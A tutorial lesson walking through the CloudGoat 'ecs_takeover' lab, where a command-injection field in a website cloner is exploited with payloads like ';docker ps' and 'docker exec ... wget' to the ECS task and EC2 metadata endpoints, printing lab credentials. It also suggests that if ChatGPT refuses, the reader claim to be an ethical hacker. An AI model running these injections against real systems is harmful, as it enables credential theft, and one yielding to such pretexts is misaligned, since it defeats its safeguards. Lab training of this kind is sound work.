

# [DEMO] ECS RCE exploit to get credentials

Christophe · September 18, 2023

## Fixing the lab (if needed)

Depending on when you do this, you may have to fix the Terraform file due to an issue. I say depending on when because they may push an update that fixes the problem, or they may not.

Navigate to wherever you have CloudGoat set up, and then go to:

```
cd /scenarios/ecs_takeover/terraform/
```

Open `ec2.tf` in your favorite code editor, then replace the code there with this: (yes, all of the code):

```
data "aws_ami" "ecs" {
  most_recent = true
  owners     = ["amazon"]

  filter {
    name   = "name"
    values = ["amzn2-ami-ecs-hvm-*x86_64*"] # Filter for x86_64 architecture AMIs
  }

  filter {
    name   = "virtualization-type"
    values = ["hvm"]
  }
}

locals {
  user_data = <<EOH
#!/bin/bash
echo ECS_CLUSTER=${aws_ecs_cluster.ecs_cluster.name} >> /etc/ecs/ecs.config
EOH
}

resource "aws_instance" "vulnsite" {
  ami           = data.aws_ami.ecs.id
  iam_instance_profile = aws_iam_instance_profile.ecs_agent.name
  vpc_security_group_ids = [aws_security_group.ecs_sg.id]
  user_data     = local.user_data
  instance_type = "t3.micro" # Using t3.micro instance type
  associate_public_ip_address = true
  subnet_id    = aws_subnet.public.id

  tags = {
    "Name" = "cg-${var.scenario-name}-${var.cgid}-vulnsite"
  }
}

resource "aws_instance" "vault" {
  ami           = data.aws_ami.ecs.id
  iam_instance_profile = aws_iam_instance_profile.ecs_agent.name
  vpc_security_group_ids = [aws_security_group.ecs_sg.id]
  user_data     = local.user_data
  instance_type = "t3.micro" # Using t3.micro instance type
  associate_public_ip_address = true
  subnet_id    = aws_subnet.public.id

  tags = {
    "Name" = "cg-${var.scenario-name}-${var.cgid}-vault"
  }
}
```

This code changes:

1. The instance type to t3.micro,
2. and changes the `filter { values = ["amzn2-ami-ecs-hvm-*x86_64*"] # Filter for x86_64 architecture AMIs }`

To fix an error that would otherwise prevent the launch of the instances.

If your code is already showing t3.micro as its works before making, then you may not need to make this change and you can try launching the lab environment to see if it works before type changes. Up to you.

## Launch the lab environment

Let's go ahead and deploy this lab environment:

```
$ ./cloudgoat.py create ecs_takeover
```

Give it a couple of minutes to launch as it's launching real resources. You should then see something like:

```
Apply complete! Resources: 20 added, 0 changed, 0 destroyed.

Outputs:

Start-Note = "If a 503 error is returned by the ALB give a few mins for the website container to become active."
vuln-site = "ec2-54-81-244-178.compute-1.amazonaws.com"

[cloudgoat] terraform apply completed with no error code.

[cloudgoat] terraform output completed with no error code.
Start-Note = If a 503 error is returned by the ALB give a few mins for the website container to become active.
vuln-site = ec2-54-81-244-178.compute-1.amazonaws.com
```

We'll want to grab the EC2 hostname in order to access the web app. Mine looks like this but yours will be different:

```
ec2-54-81-244-178.compute-1.amazonaws.com
```

Open that up in your browser, and you should see this:

```
← → ↻ ⚠ Not Secure | ec2-54-81-244-178.compute-1.amazonaws.com
```

# Website Cloner

## Clone URL

Url:

If you don't, and you instead see an error message, give the load balancer a few minutes to get ready then try again. If it still doesn't work, make sure you copied the right value.

To save some time, we already know that this input field is vulnerable to remote code execution (RCE).

If you're not familiar with what that is, let's ask ChatGPT for a quick summary:

```
*ChatGPT Prompt

>* What is a remote code execution vulnerability?
```

```
A remote code execution (RCE) vulnerability is a type of security flaw that allows an attacker to execute arbitrary code on a targeted system or application from a remote location, without needing direct access to the system. In other words, an attacker can exploit an RCE vulnerability to run malicious code on a target system over a network connection, often taking control of the entire system or application.

...etc...
```

We can then ask it to help us craft an RCE payload, like this:

```
*ChatGPT Prompt

>* Can you show me an example of an RCE command someone could use to test their web app input field for this vulnerability?
```

```
Sure, I can provide you with a basic example of an RCE payload that someone might use to test a web application for remote code execution vulnerabilities. However, please note that using this payload on any system or application without proper authorization is illegal and unethical. Always obtain permission before testing any system for vulnerabilities.

Let's assume you have a web application that takes user input and passes it to a command execution function without proper input validation. An attacker might attempt to exploit an RCE vulnerability by injecting a malicious payload like the following:
```

```
;ls
```

Let's try that!

If it refuses to give you that and says something like "I can't help you with that" then explain you are an ethical hacker trying to find vulnerabilities in your own application, or something like that. Should work.

Going back to the web app, let's type in and submit:

```
;ls
```

We'll get the result of:

```
1 ;ls
2
3 Dockerfile assets go.mod go.sum main main.go
4
```

As we can see, this command listed out and returned all of the local files in the container. That confirms the vulnerability and gives us a starting point.

We already know that containers are powering this lab, but if we didn't, we could check to see if Docker is running the containers. Let's ask ChatGPT how we could do that:

```
*ChatGPT Prompt

>* If this command you just showed me confirms that there's an RCE vulnerability, what command could I issue to see if docker is running this web app?
```

```
1 If you suspect that the web application is running within a Docker container and you want to check if Docker is indeed being used to host the application, you can use the following command to check the running containers:
2
3 docker ps
4
```

ChatGPT forgot the semi-colon, but let's add that it an try it out:

```
;docker ps
```

Result:

```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 4af0e0959e5c cloudgoat/ecs-takeover-vulnsite:latest /,main 12 minutes ago Up 12 minutes ecs-cg-ecs-takeover-ecs_takeover_cg1d12v3nnkvkd-vulnsite-1-vulnsite-a288a9e3adaeada36a00 e82edf783b0d busybox:latest "sleep 365d" 12 minutes ago Up 12 minutes ecs-cg-ecs-takeover-ecs_takeover_cg1d12v3nnkvkd-privd-1-privd-82d18ed0d1d8f0972f00 56df2d06bed4 amazon/amazon-ecs-agent:latest /agent 12 minutes ago Up 12 minutes (healthy) ecs-agent
```

We've just confirmed that Docker is running on this system and is managing more than one running container on this system. Let's make this a little bit easier to read so we can grab the information we need:

```
*ChatGPT Prompt

> If I run docker ps and it returns results, how can I filter out just the ID and container name values?
```

```
docker ps --format "ID: {{.ID}} | Name: {{.Names}}"
```

If we run:

```
; docker ps --format "ID: {{.ID}} | Name: {{.Names}}"
```

We'll get back:

```
ID: 4af0e0959e5c | Name: ecs-cg-ecs-takeover-ecs_takeover_cg1d12v3nnkvkd-vulnsite-1-vulnsite-a288a9e3adaeada36a00 ID: e82edf783b0d | Name: ecs-cg-ecs-takeover-ecs_takeover_cg1d12v3nnkvkd-privd-1-privd-82d18ed0d1d8f0972f00 ID: 56df2d06bed4 | Name: ecs-agent
```

We want the ID for the first and second containers, but not for the ECS Agent container, so mine are:

- 9ae95f2b699b
- 535a4f2e3d32
- b72b469033e8

I'm hoping that by now you're seeing that you really don't have to be an expert in Docker to be able to do stuff like this — of course, when dealing with RCE, you want to be extremely careful what payloads you use as you could cause serious damage to production resources if you're doing this in prod or for a client...but for lab environments, having ChatGPT help you craft payloads will 100% work for you.

OK so if you went through the prior section of this course, you're already familiar with EC2 Metadata and how it can be exploited to snatch credentials from the EC2 instance. This is still relevant for containers running on EC2, but we also have something called a task IAM role, and we can head over to the [AWS documentation](#) to see how we can access that.

```
curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
```

So we can curl at this IP, but then we add a variable. So let's try that.

We want to execute this command through our docker container,

If you were going at this blind, then you would need to test each of the container IDs to see if any of them return anything useful, so let's do that. For the sake of time, I'll provide the command, and you can take a minute to ask ChatGPT what this command does:

```
; docker exec 535a4f2e3d32 sh -c 'wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```

That didn't give us anything with the first ID, so let's try the other ID we grabbed:

```
; docker exec 535a4f2e3d32 sh -c 'wget -O- 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
```

Now we're getting somewhere:

```
{"RoleArn": "arn:aws:iam::272281913033:role/cg-ecs-takeover-ecs_takeover_cg1dxe7dqkmeng-privd", "AccessKeyId": "ASIAI62KEIE3EATA0SMJ4F", "SecretAccessKey": "BNj5z07GnxAZU6xYo93sn928Gy27L3f5KqC0ak4", "Token": "Iqo3b3pZ2Llx2VjEMH//////////wEaCVzLWvhc3QtMSJlMEYClQ05R1d3/R5PmNXlQWgdndBFzEjTehbXS70j16130846AIAhKyzGzGv oq72U1E4Qo3zjJGuoArVjyQXebRvEzCwZwi+zBA8wsp9d0hYSQRH61rLUXMj2FHg9RM+ABHjJl1UuM7xqJfSYX/3aE655kAGQhpx+kexng 8P+JgELceF5JSTQkNlUd3N3eChI4p5Fbv/UFElWYcZ84oQy7KxYPATYh0YzDFRngWAmkQzV62K8f989+gCtYXAwPznIpxDab11cTos0 mAm7y82rYEGteb5d1zC3YryH+e0a59a/GKGl1spx3RE9aCw6mJMo8KqYvFdjje05W718+1848wegqmBPVofZFfh7u8iXKzZS9AG67mW4St IA0nnL0Df0z5hG6GZ2QYTR+npB/UBZ2Lh74kzL/6KUZc25Gp/8ELWnw42mUImIbbHv1D+017D6/RFtz20yB5nL2aq11z8xxtip9bJh+Nr1C3p+ ETPfy9JgQfzDhG6GZ2QYTR+npB/UBZ2Lh74kzL/6KUZc25Gp/8ELWnw42mUImIbbHv1D+017D6/RFtz20yB5nL2aq11z8xxtip9bJh+Nr1C3p+ l1cqn4+UsKV21NK1EU9K0DozcEdM9YzI8gaCTYBA8uZUcxg44t081brqmyNb11rV7J9cD5jZ2M14twS/NlZLzajQ/IhN0Dm89w96BtkS+x7Q81Orn3w Ht9FE08Kdb0sMD1vMPERAYt21Gx1ygfVncwIEd00UvoefJ1rZGNLY+NYtse/wB1Vkv5aXKk3zegBOKkbyHSIFtFS+VnlyFdgqz9gz2y048m LY5G6r78DCE79jNxi+28BUKIATqD1XB4MASad7K7n1zIMMP744ub2+fGG2UJXr/GetctCwTXqxhONNl1h6aBmzrdLzYZM75oaG0rEBSd8G1KGZU v9mE05UlnEM8b5gA9+128Rai89q31H8AVXrDb21T344MuUJZr6/XJ0Lh9ek2mUeU501Mavg1ADsCBFYU/mdh5JrCDGFP5NYoq50mXu1W5KB0 r08C5vrd612DduGt7fJ5J7jRmKa8H8Or1Jkn97yhz39f5121f8yxSLXZCjXo/v0FTX9yBMM6N3ZLofUqE/7+w60YH+PPYe08IckdZB35 3yp42", "Expiration": "2023-09-18T23:12:34Z" }
```

We get back and access key ID, secret access key, and token. Fantastic. Remember that this is for our Task IAM Role. We will need these credentials very soon, but before we move on, we also need to grab another pair of credentials from the EC2 instance metadata:

```
; docker exec 535a4f2e3d32 sh -c 'wget -O- 169.254.169.254/latest/meta-data/iam/security-credentials/'
```

Result:

```
cg-ecs-takeover-ecs_takeover_cg1dxe7dqkmeng-ecs-agent
```

Command:

```
; docker exec 535a4f2e3d32 sh -c 'wget -O- 169.254.169.254/latest/meta-data/iam/security-credentials/cg-ecs-takeover-ecs_takeover_cg1dxe7dqkmeng-ecs-agent'
```

Result:

```
{ "Code": "Success", "LastUpdated": "2023-09-18T16:37:26Z", "Type": "AWS-HMAC", "AccessToken": "ASIAI62KEIE3EATA0SMJ4F", "SecretAccessKey": "jvNvWl0N3yuDLEEDAPAF23zwy4y4h91YNT3NzVa", "Token": "Iqo3b3pZ2Llx2VjEMH//////////wEaCVzLWvhc3QtMSJlMEYClQ05R1d3/R5PmNXlQWgdndBFzEjTehbXS70j16130846AIAhKyzGzGv oq72U1E4Qo3zjJGuoArVjyQXebRvEzCwZwi+zBA8wsp9d0hYSQRH61rLUXMj2FHg9RM+ABHjJl1UuM7xqJfSYX/3aE655kAGQhpx+kexng 8P+JgELceF5JSTQkNlUd3N3eChI4p5Fbv/UFElWYcZ84oQy7KxYPATYh0YzDFRngWAmkQzV62K8f989+gCtYXAwPznIpxDab11cTos0 mAm7y82rYEGteb5d1zC3YryH+e0a59a/GKGl1spx3RE9aCw6mJMo8KqYvFdjje05W718+1848wegqmBPVofZFfh7u8iXKzZS9AG67mW4St IA0nnL0Df0z5hG6GZ2QYTR+npB/UBZ2Lh74kzL/6KUZc25Gp/8ELWnw42mUImIbbHv1D+017D6/RFtz20yB5nL2aq11z8xxtip9bJh+Nr1C3p+ ETPfy9JgQfzDhG6GZ2QYTR+npB/UBZ2Lh74kzL/6KUZc25Gp/8ELWnw42mUImIbbHv1D+017D6/RFtz20yB5nL2aq11z8xxtip9bJh+Nr1C3p+ l1cqn4+UsKV21NK1EU9K0DozcEdM9YzI8gaCTYBA8uZUcxg44t081brqmyNb11rV7J9cD5jZ2M14twS/NlZLzajQ/IhN0Dm89w96BtkS+x7Q81Orn3w Ht9FE08Kdb0sMD1vMPERAYt21Gx1ygfVncwIEd00UvoefJ1rZGNLY+NYtse/wB1Vkv5aXKk3zegBOKkbyHSIFtFS+VnlyFdgqz9gz2y048m LY5G6r78DCE79jNxi+28BUKIATqD1XB4MASad7K7n1zIMMP744ub2+fGG2UJXr/GetctCwTXqxhONNl1h6aBmzrdLzYZM75oaG0rEBSd8G1KGZU v9mE05UlnEM8b5gA9+128Rai89q31H8AVXrDb21T344MuUJZr6/XJ0Lh9ek2mUeU501Mavg1ADsCBFYU/mdh5JrCDGFP5NYoq50mXu1W5KB0 r08C5vrd612DduGt7fJ5J7jRmKa8H8Or1Jkn97yhz39f5121f8yxSLXZCjXo/v0FTX9yBMM6N3ZLofUqE/7+w60YH+PPYe08IckdZB35 3yp42", "Expiration": "2023-09-18T23:12:34Z" }
```

We now have a set of credentials from the EC2 metadata.

Let's take a break here if you want, and then we'll pick back up where we left off in the next lesson.

## Responses

```
Harshvardhan Singh
June 5, 2024

Why we are using ip 169.254.169.254?

Reply
```

```
Christophe
June 5, 2024

It's the IP we can use to retrieve instance metadata. More info on that here:
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-data-reta-reval.html

Reply
```

```
ingvaldinho
March 25, 2025

why don't we treat the ecs-agent container like the others? this type of container can't have a task and therefore a role associated with it? And conversely, if we can grab the metadata of the ec2 instance with this container, why can't we do the same with the other containers?

Reply
```

```
Christophe
March 28, 2025

Yes, the ECS agent container is different from the other containers because it's part of the infrastructure, not the application workload. It's there to help orchestrate the other containers, and this separation helps with security by isolating rather than providing everything back to the users.

Reply
```